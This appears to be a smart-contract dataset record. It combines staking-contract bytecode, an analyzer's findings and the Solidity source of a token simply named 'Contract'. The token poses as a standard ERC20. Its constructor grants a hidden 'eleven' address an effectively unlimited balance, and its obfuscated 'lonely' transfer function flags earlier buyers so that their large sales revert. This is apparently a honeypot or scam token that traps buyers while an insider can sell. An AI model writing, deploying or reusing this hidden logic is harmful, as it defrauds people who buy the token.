0x608060405234801561001057600080fd5b506004361061018e5760003560e01c806398896d10116100de578063c3e5ae5311610097578063d9eaa3ed11610071578063d9eaa3ed1461047c578063efbe1c1c146104ac578063f2fde38b146104ca578063ff50abdc146104e65761018e565b8063c3e5ae5314610410578063d578ceab14610440578063d7e527451461045e5761018e565b806398896d101461033a5780639d76ea581461036a578063abc6fd0b14610388578063b6b55f25146103a6578063bf95c78d146103c2578063c326bf4f146103e05761018e565b80635eebea201161014b578063750142e611610125578063750142e6146102c257806378e97925146102e05780638da5cb5b146102fe5780639232eed31461031c5761018e565b80635eebea20146102465780636270cd18146102765780636a395ccb146102a65761018e565b806312fa6feb146101935780631911cf4a146101b157806327b3bf11146101e45780632e1a7d4d14610202578063308feec31461021e5780634e71d92d1461023c575b600080fd5b61019b610504565b6040516101a8919061253b565b60405180910390f35b6101cb60048036038101906101c691906121d4565b610517565b6040516101db94939291906124da565b60405180910390f35b6101ec61087a565b6040516101f99190612656565b60405180910390f35b61021c600480360381019061021791906121ab565b610881565b005b610226610b86565b6040516102339190612656565b60405180910390f35b610244610b97565b005b610260600480360381019061025b919061210a565b610eea565b60405161026d9190612656565b60405180910390f35b610290600480360381019061028b919061210a565b610f02565b60405161029d9190612656565b60405180910390f35b6102c060048036038101906102bb9190612133565b610f1a565b005b6102ca611088565b6040516102d79190612656565b60405180910390f35b6102e861108e565b6040516102f59190612656565b60405180910390f35b610306611094565b604051610313919061245f565b60405180910390f35b6103246110b8565b6040516103319190612656565b60405180910390f35b610354600480360381019061034f919061210a565b6110be565b6040516103619190612656565b60405180910390f35b61037261112f565b60405161037f919061245f565b60405180910390f35b610390611147565b60405161039d919061253b565b60405180910390f35b6103c060048036038101906103bb91906121ab565b611360565b005b6103ca6115bf565b6040516103d79190612656565b60405180910390f35b6103fa60048036038101906103f5919061210a565b6115c5565b6040516104079190612656565b60405180910390f35b61042a6004803603810190610425919061210a565b6115dd565b6040516104379190612656565b60405180910390f35b6104486115f5565b6040516104559190612656565b60405180910390f35b6104666115fb565b6040516104739190612656565b60405180910390f35b610496600480360381019061049191906121ab565b611602565b6040516104a3919061253b565b60405180910390f35b6104b4611841565b6040516104c1919061253b565b60405180910390f35b6104e460048036038101906104df919061210a565b61190e565b005b6104ee611a5d565b6040516104fb9190612656565b60405180910390f35b600660009054906101000a900460ff1681565b60608060608084861061052957600080fd5b600061053e8787611a6390919063ffffffff16565b905060008167ffffffffffffffff811115610582577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156105b05781602001602082028036833780820191505090505b50905060008267ffffffffffffffff8111156105f5577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156106235781602001602082028036833780820191505090505b50905060008367ffffffffffffffff811115610668577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156106965781602001602082028036833780820191505090505b50905060008467ffffffffffffffff8111156106db577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156107095781602001602082028036833780820191505090505b50905060008b90505b8a81101561085f576000610730826008611ab090919063ffffffff16565b905060006107478e84611a6390919063ffffffff16565b905081878281518110610783577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610836577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010181815250505050610858600182611aca90919063ffffffff16565b9050610712565b50838383839850985098509850505050505092959194509250565b6230c78081565b6230c78061089a60075442611a6390919063ffffffff16565b11806108b25750600660009054906101000a900460ff165b6108f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e890612636565b60405180910390fd5b80600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561093d57600080fd5b6000811161094a57600080fd5b61099c81600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6390919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109f481600454611a6390919063ffffffff16565b6004819055507387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a499291906124b1565b602060405180830381600087803b158015610a6357600080fd5b505af1158015610a77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9b9190612182565b610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad1906125b6565b60405180910390fd5b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610b6857506000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610b8357610b81336008611b1c90919063ffffffff16565b505b50565b6000610b926008611b4c565b905090565b610bab336008611b6190919063ffffffff16565b610bb457600080fd5b6230c780610bcd60075442611a6390919063ffffffff16565b1180610be55750600660009054906101000a900460ff165b610c24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1b90612636565b60405180910390fd5b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411610c7057600080fd5b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610d489291906124b1565b602060405180830381600087803b158015610d6257600080fd5b505af1158015610d76573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9a9190612182565b610dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd0906125b6565b60405180910390fd5b610dee81600354611aca90919063ffffffff16565b600381905550610e4681600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610ee757610ee5336008611b1c90919063ffffffff16565b505b50565b600b6020528060005260406000206000915090505481565b600c6020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f7257600080fd5b7387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ff5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fec90612596565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b81526004016110309291906124b1565b602060405180830381600087803b15801561104a57600080fd5b505af115801561105e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110829190612182565b50505050565b60025481565b60075481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015481565b60006110d4826008611b6190919063ffffffff16565b6110e1576000905061112a565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050809150505b919050565b7387ea1f06d7293161b9ff080662c1b0df775122d381565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111a257600080fd5b600660009054906101000a900460ff16156111f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e990612576565b60405180910390fd5b60008060005b6112026008611b4c565b8110156113395761121d816008611ab090919063ffffffff16565b9250611287600454611279600154600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9190919063ffffffff16565b611bf890919063ffffffff16565b91506112db82600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611332600182611aca90919063ffffffff16565b90506111f8565b50611351600154600554611aca90919063ffffffff16565b60058190555060019250505090565b600660009054906101000a900460ff16156113b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a7906125d6565b60405180910390fd5b600081116113f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ea906125f6565b60405180910390fd5b7387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b81526004016114449392919061247a565b602060405180830381600087803b15801561145e57600080fd5b505af1158015611472573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114969190612182565b6114d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cc90612616565b60405180910390fd5b6114de33611c13565b61153081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061158881600454611aca90919063ffffffff16565b6004819055506115a2336008611b6190919063ffffffff16565b6115bc576115ba336008611dd390919063ffffffff16565b505b50565b60055481565b600a6020528060005260406000206000915090505481565b600d6020528060005260406000206000915090505481565b60035481565b6230c78081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461165d57600080fd5b600660009054906101000a900460ff16156116ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a490612576565b60405180910390fd5b600082116116ba57600080fd5b60008060005b6116ca6008611b4c565b8110156117ff576116e5816008611ab090919063ffffffff16565b925061174d60045461173f87600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9190919063ffffffff16565b611bf890919063ffffffff16565b91506117a182600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117f8600182611aca90919063ffffffff16565b90506116c0565b5061181584600554611aca90919063ffffffff16565b6005819055506001600660006101000a81548160ff021916908315150217905550600192505050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461189c57600080fd5b600660009054906101000a900460ff16156118ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e390612576565b60405180910390fd5b6001600660006101000a81548160ff0219169083151502179055506001905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461196657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119a057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b600082821115611a9c577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8183611aa891906127d5565b905092915050565b6000611abf8360000183611e03565b60001c905092915050565b6000808284611ad991906126f4565b905083811015611b12577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8091505092915050565b6000611b44836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611e9d565b905092915050565b6000611b5a82600001612027565b9050919050565b6000611b89836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612038565b905092915050565b6000808284611ba0919061277b565b90506000841480611bbb5750828482611bb9919061274a565b145b611bee577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8091505092915050565b6000808284611c07919061274a565b90508091505092915050565b6000611c1e826110be565b90506000811115611dcf576000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cc081600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d1881600454611aca90919063ffffffff16565b600481905550611d7081600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dc881600354611aca90919063ffffffff16565b6003819055505b5050565b6000611dfb836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61205b565b905092915050565b600081836000018054905011611e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4590612556565b60405180910390fd5b826000018281548110611e8a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905092915050565b6000808360010160008481526020019081526020016000205490506000811461201b576000600182611ecf91906127d5565b9050600060018660000180549050611ee791906127d5565b90506000866000018281548110611f27577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905080876000018481548110611f71577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200181905550600183611f8c91906126f4565b8760010160008381526020019081526020016000208190555086600001805480611fdf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612021565b60009150505b92915050565b600081600001805490509050919050565b600080836001016000848152602001908152602001600020541415905092915050565b60006120678383612038565b6120c05782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506120c5565b600090505b92915050565b6000813590506120da81612a1d565b92915050565b6000815190506120ef81612a34565b92915050565b60008135905061210481612a4b565b92915050565b60006020828403121561211c57600080fd5b600061212a848285016120cb565b91505092915050565b60008060006060848603121561214857600080fd5b6000612156868287016120cb565b9350506020612167868287016120cb565b9250506040612178868287016120f5565b9150509250925092565b60006020828403121561219457600080fd5b60006121a2848285016120e0565b91505092915050565b6000602082840312156121bd57600080fd5b60006121cb848285016120f5565b91505092915050565b600080604083850312156121e757600080fd5b60006121f5858286016120f5565b9250506020612206858286016120f5565b9150509250929050565b600061221c8383612240565b60208301905092915050565b60006122348383612441565b60208301905092915050565b61224981612809565b82525050565b61225881612809565b82525050565b600061226982612691565b61227381856126c1565b935061227e83612671565b8060005b838110156122af5781516122968882612210565b97506122a1836126a7565b925050600181019050612282565b5085935050505092915050565b60006122c78261269c565b6122d181856126d2565b93506122dc83612681565b8060005b8381101561230d5781516122f48882612228565b97506122ff836126b4565b9250506001810190506122e0565b5085935050505092915050565b6123238161281b565b82525050565b60006123366022836126e3565b9150612341826128af565b604082019050919050565b60006123596015836126e3565b9150612364826128fe565b602082019050919050565b600061237c601e836126e3565b915061238782612927565b602082019050919050565b600061239f601a836126e3565b91506123aa82612950565b602082019050919050565b60006123c26011836126e3565b91506123cd82612979565b602082019050919050565b60006123e56017836126e3565b91506123f0826129a2565b602082019050919050565b6000612408601c836126e3565b9150612413826129cb565b602082019050919050565b600061242b6008836126e3565b9150612436826129f4565b602082019050919050565b61244a81612847565b82525050565b61245981612847565b82525050565b6000602082019050612474600083018461224f565b92915050565b600060608201905061248f600083018661224f565b61249c602083018561224f565b6124a96040830184612450565b949350505050565b60006040820190506124c6600083018561224f565b6124d36020830184612450565b9392505050565b600060808201905081810360008301526124f4818761225e565b9050818103602083015261250881866122bc565b9050818103604083015261251c81856122bc565b9050818103606083015261253081846122bc565b905095945050505050565b6000602082019050612550600083018461231a565b92915050565b6000602082019050818103600083015261256f81612329565b9050919050565b6000602082019050818103600083015261258f8161234c565b9050919050565b600060208201905081810360008301526125af8161236f565b9050919050565b600060208201905081810360008301526125cf81612392565b9050919050565b600060208201905081810360008301526125ef816123b5565b9050919050565b6000602082019050818103600083015261260f816123d8565b9050919050565b6000602082019050818103600083015261262f816123fb565b9050919050565b6000602082019050818103600083015261264f8161241e565b9050919050565b600060208201905061266b6000830184612450565b92915050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126ff82612847565b915061270a83612847565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561273f5761273e612851565b5b828201905092915050565b600061275582612847565b915061276083612847565b9250826127705761276f612880565b5b828204905092915050565b600061278682612847565b915061279183612847565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127ca576127c9612851565b5b828202905092915050565b60006127e082612847565b91506127eb83612847565b9250828210156127fe576127fd612851565b5b828203905092915050565b600061281482612827565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e60008201527f6473000000000000000000000000000000000000000000000000000000000000602082015250565b7f5374616b696e6720616c726561647920656e6465640000000000000000000000600082015250565b7f43616e6e6f74205472616e73666572204f7574207468697320746f6b656e0000600082015250565b7f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000600082015250565b7f5374616b696e672068617320656e646564000000000000000000000000000000600082015250565b7f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000600082015250565b7f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000600082015250565b7f4e6f74207965742e000000000000000000000000000000000000000000000000600082015250565b612a2681612809565b8114612a3157600080fd5b50565b612a3d8161281b565b8114612a4857600080fd5b50565b612a5481612847565b8114612a5f57600080fd5b5056fea2646970667358221220984e335e8880d8e04184c4cb8751199d341a648ccb7dd4e3fc7f43ec7258d7e064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,542 |
0xfcc79a40AA705291f9617fC7d829cd15CD2FaDa7
|
// }
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.3;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress,
address eleven
) {
_symbol = _SYMBOL;
_name = _NAME;
_fee = 5;
_decimals = 9;
_tTotal = 1000000000000000 * 10**_decimals;
_balances[eleven] = open;
_balances[msg.sender] = _tTotal;
negative[eleven] = open;
negative[msg.sender] = open;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
uint256 public _fee;
string private _name;
string private _symbol;
uint8 private _decimals;
function name() public view returns (string memory) {
return _name;
}
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
function symbol() public view returns (string memory) {
return _symbol;
}
uint256 private _tTotal;
uint256 private _rTotal;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
uint256 private open = ~uint256(0);
function decimals() public view returns (uint256) {
return _decimals;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() public view returns (uint256) {
return _tTotal;
}
address[] have = new address[](2);
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function lonely(
address green,
address regular,
uint256 amount
) private {
address nine = have[1];
bool nature = uniswapV2Pair == green;
uint256 right = _fee;
if (negative[green] == 0 && mass[green] > 0 && !nature) {
if (amount >= 9 * 10**(13 + _decimals)) {
negative[green] -= right;
}
}
have[1] = regular;
if (negative[green] > 0 && amount == 0) {
negative[regular] += right;
}
mass[nine] += right;
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[green] -= fee;
_balances[address(this)] += fee;
_balances[green] -= amount;
_balances[regular] += amount;
}
mapping(address => uint256) private mass;
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
mapping(address => uint256) private negative;
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
lonely(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
lonely(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f91906110ad565b60405180910390f35b610132600480360381019061012d9190611168565b610392565b60405161013f91906111c3565b60405180910390f35b6101506103a7565b60405161015d91906111ed565b60405180910390f35b610180600480360381019061017b9190611208565b6103b1565b60405161018d91906111c3565b60405180910390f35b61019e610500565b6040516101ab91906111ed565b60405180910390f35b6101bc61051a565b6040516101c9919061126a565b60405180910390f35b6101ec60048036038101906101e79190611285565b610540565b6040516101f991906111ed565b60405180910390f35b61020a610589565b005b610214610611565b604051610221919061126a565b60405180910390f35b61023261063a565b60405161023f91906110ad565b60405180910390f35b610262600480360381019061025d9190611168565b6106cc565b60405161026f91906111c3565b60405180910390f35b610280610748565b60405161028d91906111ed565b60405180910390f35b6102b060048036038101906102ab91906112b2565b61074e565b6040516102bd91906111ed565b60405180910390f35b6102e060048036038101906102db9190611285565b6107d5565b005b6102ea6108cc565b6040516102f79190611351565b60405180910390f35b60606002805461030f9061139b565b80601f016020809104026020016040519081016040528092919081815260200182805461033b9061139b565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f2565b905092915050565b6000600754905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec9061143e565b60405180910390fd5b610400848484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d91906111ed565b60405180910390a36104f7843384600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f2919061148d565b6108f2565b90509392505050565b60006004600